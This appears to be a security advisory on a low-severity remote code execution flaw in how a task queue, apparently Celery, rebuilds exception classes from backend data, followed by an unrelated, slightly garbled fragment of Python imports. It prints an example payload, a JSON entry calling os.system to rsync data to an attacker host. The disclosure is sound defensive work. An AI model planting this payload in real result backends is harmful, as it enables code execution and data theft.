When a task fails, the failure information is serialized in the backend. In some cases, the exception class is only importable from the consumer’s code base. In this case, we reconstruct the exception class so that we can re-raise the error on the process which queried the task’s result. This was introduced in #4836. If the recreated exception type isn’t an exception, this is a security issue. Without the condition included in this patch, an attacker could inject a remote code execution instruction such as: os.system("rsync /data attacker@192.168.56.100:~/data") by setting the task’s result to a failure in the result backend with the os, the system function as the exception type and the payload rsync /data attacker@192.168.56.100:~/data as the exception arguments like so: json { "exc_module": "os", 'exc_type': "system", "exc_message": "rsync /data attacker@192.168.56.100:~/data" } According to my analysis, this vulnerability can only be exploited if the producer delayed a task which runs long enough for the attacker to change the result mid-flight, and the producer has polled for the tasks’s result. The attacker would also have to gain access to the result backend. The severity of this security vulnerability is low, but we still recommend upgrading.
import os import pickle import socket from typing importAny, Dict from urllib.parse import urlparse from subprocess import check_output from celery import Celery from kombu.serialization import register
from .config import settings from .crypto import dumps as encrypt_dumps, loads as decrypt_loads